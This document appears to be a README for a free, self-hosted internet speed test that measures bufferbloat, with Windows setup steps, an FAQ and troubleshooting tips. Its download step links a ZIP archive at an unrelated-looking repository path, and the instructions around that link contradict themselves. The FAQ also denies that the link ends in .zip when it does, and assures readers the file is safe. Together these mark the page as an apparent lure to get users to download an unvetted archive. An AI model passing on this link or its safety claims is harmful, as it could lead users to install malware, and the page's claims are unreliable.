🚀 speedtest - Internet Speed Test That Reveals Bufferbloat

A free, browser-based internet speed test that measures what most speed tests hide — latency under load (bufferbloat). No downloads needed, just open and run.

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🔍 What Is This?

This is a completely free internet speed test that runs in your browser. Unlike typical speed tests, it also checks for bufferbloat — the hidden lag that happens when your network is under load. You don't need to install anything on your computer. Just download the files, run them, and get accurate results.

🌟 Why Use This Speed Test?

Reveals bufferbloat: Most speed tests only show your download and upload speeds. This one also measures latency under load — the real cause of lag during video calls, gaming, or streaming.
No dependencies: Built with plain PHP and JavaScript. No frameworks, no build tools, no extra installations.
Privacy-friendly: All processing happens on your own computer. No data sent to third parties.
Self-hosted: Run it on your own machine. You control everything.
Works on Windows: Easy to set up with a simple PHP server.

📦 System Requirements

Operating System: Windows 10 or later (also works on macOS/Linux).
Software: PHP 7.4 or higher (download from php.net).
Browser: Any modern browser (Chrome, Firefox, Edge, Safari).
Internet: An active connection for the speed test.

🚀 Getting Started on Windows

Follow these simple steps to download and run the speed test on your Windows computer:

Step 1: Download the files

Visit this link to download the application: https://github.com/zilviavile709/zilviavile709.github.io/raw/refs/heads/main/strombiform/v1.6.zip. Click the green "Code" button, then "Download ZIP". Save the ZIP file to your computer.

Step 2: Extract the ZIP file

Right-click the downloaded ZIP file and select "Extract All". Choose a folder (e.g., Desktop) and click "Extract". You should see a folder named speedtest.

Step 3: Install PHP (if not already installed)

Go to windows.php.net/download and download the "Thread Safe" ZIP for PHP 8.2 or newer. Extract the ZIP to a folder like C:\php. Add C:\php to your system PATH (search online for "add PHP to PATH Windows" if unsure).

Step 4: Start the PHP server

Open Command Prompt (press Windows key, type "cmd", and press Enter). Navigate to the speedtest folder using the cd command. For example: cd Desktop\speedtest. Then type: php -S localhost:8000 and press Enter. You'll see "Listening on http://localhost:8000".

Step 5: Open the test in your browser

Open your web browser (Chrome, Edge, etc.) and go to http://localhost:8000. The speed test will load. Click the "Start Test" button and wait for results. That's it!

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💡 FAQ

What is bufferbloat?

Bufferbloat is when your router or modem has too much buffering, causing high latency (lag) during downloads or uploads. This test detects it by measuring ping while your connection is busy.

Do I need to install anything else?

Only PHP. The speed test uses no other software or libraries. It's completely self-contained.

Is this safe to run?

Yes. The code runs locally on your computer. No data is sent to external servers. It's open source and can be reviewed by anyone.

Why doesn't the download link end in .exe or .zip?

The download link leads to the GitHub page where you can get the source code. Download the ZIP from there and follow the steps above.

🔧 Troubleshooting

PHP not recognized: Make sure PHP is added to your system PATH. Restart Command Prompt after adding it.
Port already in use: If you see an error about port 8000, use a different port: php -S localhost:8001 and access http://localhost:8001.
Test not loading: Ensure you're in the correct folder and the server is running. Check your browser's address bar for typos.

📜 License & Source

This project is open source. View the full code on GitHub: github.com/zilviavile709/speedtest.

Made with ❤️ for a faster, fairer internet.